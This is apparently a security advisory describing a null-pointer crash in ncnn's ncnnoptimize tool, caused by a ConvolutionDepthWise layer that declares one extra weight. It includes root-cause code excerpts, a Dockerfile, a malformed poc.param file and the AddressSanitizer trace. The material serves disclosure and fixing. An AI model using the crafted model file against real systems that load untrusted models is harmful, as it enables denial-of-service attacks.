Malformed Depthwise Weights Crash ncnnoptimize
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolutiondepthwise_3x3_pack4.h:30 in convdw3x3s1_pack4_sse
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x599c597ca73e bp 0x7ffd9372c1f0 sp 0x7ffd93729610 T0)
Summary
A crafted ncnn model whose ConvolutionDepthWise layer declares one weight more than its geometry requires makes ncnnoptimize dereference a null kernel pointer inside an SSE load and abort. The x86 pipeline builder validates the weight count using truncating integer division, so the off-by-one passes; the following Mat::reshape returns an empty matrix, convert_packing propagates the empty matrix into weight_data_tm, and the pack4 3x3 depthwise kernel reads from it. ncnnoptimize loads the attacker's .param/.bin through Net::load_model and then runs ModelWriter::shape_inference(), which executes the layer.
Detail
The untrusted fields are the ConvolutionDepthWise parameters 0 (num_output), 1 (kernel_w/kernel_h), 6 (weight_data_size) and 7 (group). ConvolutionDepthWise::load_model only rejects an empty weight blob; it never verifies that weight_data_size equals group * (num_output / group) * kernel_w * kernel_h.
ConvolutionDepthWise_x86::create_pipeline performs the only arithmetic that resembles such a check, but it does so with four chained integer divisions, each of which discards a remainder. Any surplus smaller than one full kernel is therefore invisible, the layer is classified as depth-wise, and the weight tensor is reshaped to the exact geometry the parameters imply. Mat::reshape returns an empty Mat on a size mismatch instead of failing, convert_packing forwards that empty matrix through a Packing layer, and weight_data_tm is left with data == nullptr. No caller inspects it.
// src/layer/x86/convolutiondepthwise_x86.cpp:60
const int maxk = kernel_w * kernel_h;
int channels = (weight_data_size / group) / maxk / (num_output / group) * group;
// depth-wise
if (channels == group && group == num_output)
// src/layer/x86/convolutiondepthwise_x86.cpp:100
if (elempack == 4)
{
Mat weight_data_r2 = weight_data.reshape(maxk, group);
convert_packing(weight_data_r2, weight_data_tm, 4, opt);
}
// src/mat.cpp:154
Mat Mat::reshape(int _w, int _h, Allocator* _allocator) const
{
if (w * h * d * c != _w * _h)
return Mat();
// src/layer/x86/convolutiondepthwise_3x3_pack4.h:20
const float* k0 = kernel.row(g);
// src/layer/x86/convolutiondepthwise_3x3_pack4.h:30
__m128 _k00 = _mm_load_ps(k0);
The PoC uses 0=4 (num_output), 1=3 (3x3, so maxk == 9), 7=4 (group) and 6=37 (thirty-seven weight floats where the geometry needs thirty-six). Line 61 computes (37 / 4) / 9 / (4 / 4) * 4, that is 9 / 9 / 1 * 4 == 4, which equals both group and num_output, so the depth-wise branch is entered and elempack becomes 4. The reshape at line 102 asks for 9 x 4 == 36 elements from a 37-element Mat, so mat.cpp:156 returns an empty Mat and weight_data_tm ends up null. During shape_inference() the layer is dispatched to the pack4 3x3-stride-1 kernel, where kernel.row(g) computes nullptr + w * g * elemsize with w == 0 and elemsize == 0, yielding exactly 0x0, and _mm_load_ps(k0) faults on the zero page.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-depthwise-weights-crash-ncnnoptimize && cd ncnn-poc-malformed-depthwise-weights-crash-ncnnoptimize
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=5 1=5 2=4
ConvolutionDepthWise dw 1 1 data out 0=4 1=3 6=37 7=4
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x64602f9a973e bp 0x7ffe622ebe70 sp 0x7ffe622e9290 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
#0 0x64602f9a973e in _mm_load_ps(float const*) /usr/lib/gcc/x86_64-linux-gnu/13/include/xmmintrin.h:933
#1 0x64602f9a973e in convdw3x3s1_pack4_sse /ncnn/src/layer/x86/convolutiondepthwise_3x3_pack4.h:30
#2 0x64602fa5f9a5 in ncnn::ConvolutionDepthWise_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:536
#3 0x64602aa0af2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#4 0x64602a9fcb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#5 0x64602aa5c9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#6 0x64602a8ee3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#7 0x64602a96beee in main /ncnn/tools/ncnnoptimize.cpp:2844
#8 0x773d9fa291c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x773d9fa2928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x64602a8eb624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /usr/lib/gcc/x86_64-linux-gnu/13/include/xmmintrin.h:933 in _mm_load_ps(float const*)
==1==ABORTING
Credit
Zheng Yu @ DepthFirst